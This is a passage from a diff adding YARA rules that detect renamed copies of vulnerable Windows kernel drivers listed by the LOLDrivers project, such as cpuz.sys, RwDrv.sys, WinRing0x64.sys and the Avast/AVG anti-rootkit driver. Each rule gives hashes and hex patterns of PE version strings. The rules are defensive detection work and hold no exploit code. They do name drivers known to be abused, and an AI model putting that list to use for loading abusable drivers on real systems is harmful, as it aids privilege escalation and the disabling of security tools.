+		hash = "2594b3ef3675ca3a7b465b8ed4962e3251364bab13b12af00ebba7fa2211abb2"
+		date = "2023-06-14"
+		score = 70
+		id = "1af90e2a-a7b8-5ae0-98a4-ffe0543cda9c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310038002e0033002e0033003800360030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310038002e0033002e0033003800360030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310038002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Cpuid_Cpuzsys_Cpuidservice_6BEF {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "6befa481e8cca8084d9ec3a1925782cd3c28ef7a3e4384e034d48deaabb96b63"
+		hash = "8cf0cbbdc43f9b977f0fb79e0a0dd0e1adabe08a67d0f40d727c717c747de775"
+		hash = "2101d5e80e92c55ecfd8c24fcf2202a206a4fd70195a1378f88c4cc04d336f22"
+		hash = "45c3d607cb57a1714c1c604a25cbadf2779f4734855d0e43aa394073b6966b26"
+		hash = "600a2119657973112025db3c0eeab2e69d528bccfeed75f40c6ef50b059ec8a0"
+		hash = "deecbcd260849178de421d8e2f177dce5c63cf67a48abb23a0e3cf3aa3e00578"
+		hash = "955dac77a0148e9f9ed744f5d341cb9c9118261e52fe622ac6213965f2bc4cad"
+		date = "2023-06-14"
+		score = 70
+		id = "9a0e6700-1e63-5d7d-b255-d8492162395c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00430050005500490044 } /* CompanyName CPUID */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043005000550049004400200073006500720076006900630065 } /* ProductName CPUIDservice */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400280043002900200032003000310034002000430050005500490044 } /* LegalCopyright CopyrightCCPUID */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /cpuz/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Rweverything_Rwdrvsys_Rwdrvdriver_45BA {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - RwDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "45ba688a4bded8a7e78a4f5b0dc21004e951ddceb014bb92f51a3301d2fbc56a"
+		hash = "3279593db91bb7ad5b489a01808c645eafafda6cc9c39f50d10ccc30203f2ddf"
+		hash = "d969845ef6acc8e5d3421a7ce7e244f419989710871313b04148f9b322751e5d"
+		hash = "1e0eb0811a7cf1bdaf29d3d2cab373ca51eb8d8b58889ab7728e2d3aed244abe"
+		hash = "ea0b9eecf4ad5ec8c14aec13de7d661e7615018b1a3c65464bf5eca9bbf6ded3"
+		date = "2023-06-14"
+		score = 70
+		id = "8790783a-921d-513e-9df5-6565e6f6709f"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200770044007200760020004400720069007600650072 } /* FileDescription RwDrvDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00520057002d00450076006500720079007400680069006e0067 } /* CompanyName RWEverything */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300030002e00300030002e00300030003000300020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300030002e00300030002e0030003000300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00520077004400720076002e007300790073 } /* InternalName RwDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200770044007200760020004400720069007600650072 } /* ProductName RwDrvDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00520077004400720076002e007300790073 } /* OriginalFilename RwDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310031002000520057002d00450076006500720079007400680069006e0067 } /* LegalCopyright CopyrightCRWEverything */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /RwDrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Windowsrwinddkprovider_Vmdrvsys_Windowsrwinddkdriver_5C0B {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - vmdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5c0b429e5935814457934fa9c10ac7a88e19068fa1bd152879e4e9b89c103921"
+		hash = "32cccc4f249499061c0afa18f534c825d01034a1f6815f5506bf4c4ff55d1351"
+		hash = "d884ca8cc4ef1826ca3ab03eb3c2d8f356ba25f2d20db0a7d9fc251c565be7f3"
+		date = "2023-06-14"
+		score = 70
+		id = "0d3a77dc-c2c8-5741-b574-e3a1afe4e43d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0056006f006900630065006d006f00640020005600690072007400750061006c00200041007500640069006f00200044006500760069006300650020002800570044004d0029 } /* FileDescription VoicemodVirtualAudioDeviceWDM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRWinDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0030002e00310030003000310031002e00310036003300380034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0076006d006400720076002e007300790073 } /* InternalName vmdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 } /* ProductName WindowsRWinDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0076006d006400720076002e007300790073 } /* OriginalFilename vmdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200056006f006900630065006d006f006400200053002e004c002e0032003000310030002d0032003000320030 } /* LegalCopyright CopyrightCVoicemodSL */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /vmdrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_A130 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "a13054f349b7baa8c8a3fcbd31789807a493cc52224bbff5e412eb2bd52a6433"
+		hash = "7e81beae78e1ddbf6c150e15667e1f18783f9b0ab7fbe52c7ab63e754135948d"
+		date = "2023-06-14"
+		score = 70
+		id = "ed7c99d8-ba92-53fa-b633-e64e5d7fe5a3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0033002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0033002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003800200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /AMDRyzenMasterDriver/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_5BD4 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "5bd41a29cbba0d24e639f49d1f201b9bd119b11f5e3b8a5fefa3a5c6f1e7692c"
+		date = "2023-06-14"
+		score = 70
+		id = "353bb544-18f6-5c1b-b100-b2ddb55c3cc2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_88E2 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "88e2e6a705d3fb71b966d9fb46dc5a4b015548daf585fb54dfcd81dc0bd3ebdc"
+		hash = "f29073dc99cb52fa890aae80037b48a172138f112474a1aecddae21179c93478"
+		hash = "89b9823ed974a5b71de8468324d45b7e9d6dc914f93615ba86c6209b25b3cbf7"
+		hash = "3503ea284b6819f9cb43b3e94c0bb1bf5945ccb37be6a898387e215197a4792a"
+		hash = "d6827cd3a8f273a66ecc33bb915df6c7dea5cc1b8134b0c348303ef50db33476"
+		hash = "e07211224b02aaf68a5e4b73fc1049376623793509d9581cdaee9e601020af06"
+		hash = "c089a31ac95d41ed02d1e4574962f53376b36a9e60ff87769d221dc7d1a3ecfa"
+		hash = "6e944ae1bfe43a8a7cd2ea65e518a30172ce8f31223bdfd39701b2cb41d8a9e7"
+		hash = "59b09bd69923c0b3de3239e73205b1846a5f69043546d471b259887bb141d879"
+		hash = "e3f2ee22dec15061919583e4beb8abb3b29b283e2bcb46badf2bfde65f5ea8dd"
+		hash = "9d5ebd0f4585ec20a5fe3c5276df13ece5a2645d3d6f70cedcda979bd1248fc2"
+		date = "2023-06-14"
+		score = 70
+		id = "c36713ac-c8f2-5061-8d1e-42a5c33a60e9"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* FileDescription ProcessExplorer */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 } /* ProductName ProcessExplorer */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310034 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /procexp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Windowsrwinddkprovider_Cpuzsys_Windowsrwinddkdriver_1F4D {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1f4d4db4abe26e765a33afb2501ac134d14cadeaa74ae8a0fae420e4ecf58e0c"
+		hash = "c3e150eb7e7292f70299d3054ed429156a4c32b1f7466a706a2b99249022979e"
+		hash = "2a9d481ffdc5c1e2cb50cf078be32be06b21f6e2b38e90e008edfc8c4f2a9c4e"
+		hash = "8688e43d94b41eeca2ed458b8fc0d02f74696a918e375ecd3842d8627e7a8f2b"
+		hash = "592f56b13e7dcaa285da64a0b9a48be7562bd9b0a190208b7c8b7d8de427cf6c"
+		hash = "4d19ee789e101e5a76834fb411aadf8229f08b3ece671343ad57a6576a525036"
+		hash = "60b163776e7b95e0c2280d04476304d0c943b484909131f340e3ce6045a49289"
+		date = "2023-06-14"
+		score = 70
+		id = "4b16ba1a-e7d7-500b-8ebc-aac1561a22f5"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004300500055004900440020004400720069007600650072 } /* FileDescription CPUIDDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRWinDDKprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e003100360033003800350020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0031002e0037003600300030002e00310036003300380035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006300700075007a002e007300790073 } /* InternalName cpuzsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e0064006f007700730020002800520029002000570069006e00200037002000440044004b0020006400720069007600650072 } /* ProductName WindowsRWinDDKdriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006300700075007a002e007300790073 } /* OriginalFilename cpuzsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright MicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /cpuz/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Novellinc_Novellxtier_B50F {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - libnicm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "b50ffc60eaa4fb7429fdbb67c0aba0c7085f5129564d0a113fec231c5f8ff62e"
+		hash = "b37b3c6877b70289c0f43aeb71349f7344b06063996e6347c3c18d8c5de77f3b"
+		date = "2023-06-14"
+		score = 70
+		id = "5d7314e6-51aa-5220-9aa2-6d6c826550bb"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c0020005800540043004f004d0020005300650072007600690063006500730020004400720069007600650072 } /* FileDescription NovellXTCOMServicesDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e } /* CompanyName NovellInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 } /* ProductName NovellXTier */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006c00690062006e00690063006d002e007300790073 } /* OriginalFilename libnicmsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CCopyrightNovellIncAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /libnicm/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Openlibsysorg_Winringsys_Winring_11BD {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WinRing0x64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5"
+		hash = "a7b000abbcc344444a9b00cfade7aa22ab92ce0cadec196c30eb1851ae4fa062"
+		date = "2023-06-14"
+		score = 70
+		id = "7f7ebb0c-bb5a-5585-80d9-9638233554a3"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570069006e00520069006e00670030 } /* FileDescription WinRing */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004f00700065006e004c00690062005300790073002e006f00720067 } /* CompanyName OpenLibSysorg */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0035 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0035 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 } /* InternalName WinRingsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00570069006e00520069006e00670030 } /* ProductName WinRing */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00570069006e00520069006e00670030002e007300790073 } /* OriginalFilename WinRingsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300037002d00320030003000380020004f00700065006e004c00690062005300790073002e006f00720067002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCOpenLibSysorgAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /WinRing0x64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Windowswinowsdriverkitsprovider_Hwrwdrvsys_Hardwarereadwritedriver_21CC {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HwRwDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "21ccdd306b5183c00ecfd0475b3152e7d94b921e858e59b68a03e925d1715f21"
+		date = "2023-06-14"
+		score = 70
+		id = "5b426649-d516-5dcd-964d-968ebf0cce24"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0048006100720064007700610072006500200072006500610064002000260020007700720069007400650020006400720069007600650072 } /* FileDescription Hardwarereadwritedriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f0077007300ae002000770069006e006f007700730020003700200064007200690076006500720020006b006900740073002000700072006f00760069006400650072 } /* CompanyName Windowswinowsdriverkitsprovider */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0035002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0035002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0048007700520077004400720076002e007300790073 } /* InternalName HwRwDrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0048006100720064007700610072006500200072006500610064002000260020007700720069007400650020006400720069007600650072 } /* ProductName Hardwarereadwritedriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0048007700520077004400720076002e007300790073 } /* OriginalFilename HwRwDrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400a90020004d006900630072006f0073006f0066007400200043006f00720070006f0072006100740069006f006e002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightMicrosoftCorporationAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /HwRwDrv/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avastsoftware_Aswarpot_Avastantivirus_AD8F {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ad8ffccfde782bc287241152cf24245a8bf21c2530d81c57e17631b3c4adb833"
+		date = "2023-06-14"
+		score = 70
+		id = "1b982901-3e6b-5aa6-8720-8d9305350dc7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041007600610073007400200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AvastAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041005600410053005400200053006f006600740077006100720065 } /* CompanyName AVASTSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e0036002e003100300037002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041007600610073007400200041006e00740069007600690072007500730020 } /* ProductName AvastAntivirus */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028006300290020003200300032003000200041005600410053005400200053006f006600740077006100720065 } /* LegalCopyright CopyrightcAVASTSoftware */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibsys_Ntiolib_3124 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "3124b0411b8077605db2a9b7909d8240e0d554496600e2706e531c93c931e1b5"
+		date = "2023-06-14"
+		score = 70
+		id = "e3bcd228-a606-585f-a2fc-b4113ee87708"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004600720065007100750065006e00630079005f00430043 } /* FileDescription NTIOLibforMSIFrequencyCC */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Iobit_Monitorsys_Advancedsystemcare_E4A7 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Monitor_win10_x64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e4a7da2cf59a4a21fc42b611df1d59cae75051925a7ddf42bf216cc1a026eadb"
+		date = "2023-06-14"
+		score = 70
+		id = "052f73e5-4140-5d25-85d7-3e69937edb29"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049004f006200690074002000540065006d007000650072006100740075007200650020004d006f006e00690074006f0072 } /* FileDescription IObitTemperatureMonitor */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049004f006200690074 } /* CompanyName IObit */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e00310031 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d006f006e00690074006f0072002e007300790073 } /* InternalName Monitorsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041006400760061006e006300650064002000530079007300740065006d0043006100720065 } /* ProductName AdvancedSystemCare */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d006f006e00690074006f0072002e007300790073 } /* OriginalFilename Monitorsys */
